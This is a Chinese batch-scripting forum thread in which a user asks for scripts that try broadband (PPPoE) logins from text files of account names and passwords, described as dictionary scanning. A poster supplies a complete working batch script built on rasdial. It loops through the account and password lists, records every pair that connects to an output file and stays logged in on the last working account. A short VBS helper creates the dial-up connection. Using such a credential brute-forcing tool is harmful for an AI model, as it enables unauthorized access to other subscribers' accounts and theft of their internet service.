[新手上路]批处理新手入门导读[视频教程]批处理基础视频教程[视频教程]VBS基础视频教程[批处理精品]批处理版照片整理器
[批处理精品]纯批处理备份&还原驱动[批处理精品]CMD命令50条不能说的秘密[在线下载]第三方命令行工具[在线帮助]VBScript / JScript 在线参考
返回列表 发帖

[系统相关] 如何用批处理批量宽带连接TXT文本里按行排列的宽带账号或密码?

要求3个批处理:
第一种:固定一个宽带账号,批处理txt文本里多个按行排序的密码的批处理
第二种:固定一个宽带密码,批处理txt文本里多个按行排序的账号的批处理
第三种:2个txt文本:
1.txt是多个账号;2.txt是多个密码,利用批处理将2个文本组合进行连接的批处理
第三种:2个txt文本:
txt是多个账号;2.txt是多个密码,利用批处理将2个文本组合进行连接的批处理(也就是同时字典扫描进行宽带连接)
第四种:2个txt
txt是账号,然后取账号里面的后几位,然后加上txt2文档内的密码,批量处理。

要求这4个批处理都有连接成功后断开继续连接下一个的功能,并将成功的账号和密码全部用=分开按行输出到另外一个文本里。在运行前如果宽带处于连接状态时先自动断开,最后全部试探连接完毕后保持最后一个成功连接的进行宽带连接。
参考:
[说明]
            1、宽带账号预设在文本“宽带账号.txt”中,一个账号占一行;宽带密码预设在文本“宽带密码..txt”中,一个密码.占一行
            2、账号及密码成功连接时屏幕有提示,结果保存在文本“成功连接.txt”中,未成功连接的不保存
           3、请自行更改“set user=改成固定的宽带账号”和“set pass=改成固定的宽带密码”这两处变量值
            4、预设宽带连接名称为“宽带连接”,如不一样请自行更改“set pppname=宽带连接”此处
            5、之前未创建宽带连接的可以选择功能1,先创建一个宽带连接,预设宽带连接名称同上

::参考命令

::创建新宽带连接(需模拟按键)
rasphone -a "宽带连接"
::删除宽带连接
rasphone -r "宽带连接"
::连接宽带
rasdial "宽带连接" 宽带账号 宽带密码
::断开宽带
rasdial "宽带连接" /d
::检测宽带是否连接成功
rasdial|find "已连接">nul
if !errorlevel! equ 0 (echo 已经连接) else (echo 未连接)
::宽带连接数据储存文件(UTF-8编码文本)
"%AllUsersProfile%\Application Data\Microsoft\Network\Connections\Pbk\rasphone.pbk"




批处理代码如下:
@title 宽带账号批量连接检测批处理 By SunTB
@echo off & setlocal enabledelayedexpansion
set userfile=宽带账号.txt
set passfile=宽带密码.txt
set pppname=宽带连接
set outfile=成功连接.txt
:choose
echo.&echo 本批处理实现以下功能:
echo.&echo     1 - 创建 !pppname!(配合模拟按键实现)
echo.&echo     2 - 测试固定的宽带账号及密码
echo.&echo     3 - 宽带账号固定,密码从文本 %passfile% 里提取逐一测试
echo.&echo     4 - 宽带密码固定,账号从文本 %userfile% 里提取逐一测试
echo.&echo     5 - 宽带账号及密码均从以上文本里提取逐一测试
echo.&echo     6 - 从文本 %userfile% 里提取宽带账号并手动截取@前几位数作为
密码
echo.&echo     0 - 退出批处理
echo.&set /p choose=请输入你选择的序号并回车:
if %choose% equ 0 exit
if %choose% equ 1 goto :buildppp
if %choose% equ 2 goto :user1pass1
if %choose% equ 3 goto :user1passx
if %choose% equ 4 goto :pass1userx
if %choose% equ 5 goto :userxpassx
if %choose% equ 6 goto :user_passx
cls&echo.&echo 输入的序号有误,请重新选择!&set choose=&goto :choose

:buildppp
::创建新宽带连接
set vbs=buildppp.vbs
(echo Set WshShell = CreateObject^("WScript.Shell"^)
echo strCommandLine = "rasphone -a ""!pppname!"""
echo WshShell.Run^(strCommandLine^)
echo WScript.Sleep 1000
echo WshShell.SendKeys "R"
echo WScript.Sleep 30
echo WshShell.SendKeys "{ENTER}"
echo WScript.Sleep 30
echo WshShell.SendKeys "{ENTER}"
echo Set WshShell = Nothing
)>"%vbs%"
cscript //nologo "%vbs%"
del "%vbs%"
goto :exit
:user1pass1
echo.&set /p user=请输入宽带账号:
echo.&set /p pass=请输入宽带密码:
call :check1
goto :exit
:user1passx
set user=改成固定的宽带账号
call :check0
for /f "tokens=*" %%a in ('type "%passfile%"') do (
    if !end! equ 1 (set end=&goto :exit)
    set pass=%%a&call :check1
)
goto :exit
:pass1userx
set pass=改成固定的宽带密码
call :check0
for /f "tokens=*" %%a in ('type "%userfile%"') do (
    if !end! equ 1 (set end=&goto :exit)
    set user=%%a&call :check1
)
goto :exit
:userxpassx
call :check0
for /f "tokens=*" %%a in ('type "%userfile%"') do (
    set user=%%a
    call :check2
)
goto :exit
:user_passx
call :check0
echo.&set /p num=请输入要截取用户名@前多少位数字作为密码:
for /f "tokens=1-2 delims=@" %%a in (宽带账号.txt) do (
    set str=%%a
    set user=%%a@%%b
    set pass=!str:~-%num%!
    call :check1
)
goto :exit
:exit
rasdial "!pppname!" !lastuser! !lastpass!
echo.&echo 所有操作完毕,按任意键退出&pause>nul&exit
:check0
rasdial|find "已连接">nul
if !errorlevel! equ 0 for /f "skip=1 tokens=*" %%a in ('rasdial') do
(rasdial "%%a" /d >nul&set pppname=%%a&goto :eof)
goto :eof
:check1
echo.&set /p str=正在连接账号 !user!=!pass! <nul
rasdial "!pppname!" !user! !pass! >nul
rasdial|find "已连接">nul
if !errorlevel! equ 0 (
    echo [连接成功]
    if %choose% neq 7 echo>>"%outfile%" !user!=!pass!
    set lastuser=!user!
    set lastpass=!pass!
    set end=1
) else (echo.)
rasdial "!pppname!" /d >nul
goto :eof
:check2
for /f "tokens=*" %%b in ('type "%passfile%"') do (
    if !end! equ 1 (set end=&goto :eof)
    set pass=%%b
    call :check1
)
goto :eof[/code]使用VBS创建宽带连接+自动创建桌面快捷方式。[code=vb]' 创建宽带连接
Set WshShell = CreateObject("WScript.Shell")
WshShell.Run("rasphone -a ""宽带连接""")
WScript.Sleep 1000
WshShell.SendKeys "R"
WScript.Sleep 30
WshShell.SendKeys "{ENTER}"
WScript.Sleep 30
WshShell.SendKeys "{ENTER}"
' 创建宽带连接桌面快捷方式
Set WshShell = Wscript.CreateObject("Wscript.Shell")
LnkPth = WshShell.SpecialFolders("Desktop")
Set Link = WshShell.CreateShortcut(LnkPth & "\\宽带连接.lnk")
Link.TargetPath = "rasphone.exe"
Link.Arguments = "-d 宽带连接"
Link.IconLocation = "SHELL32.dll,17"
Link.Save[/code]用批处理宽带连接拨号。

顶楼这些乱七八糟的代码是几个意思?

TOP

返回列表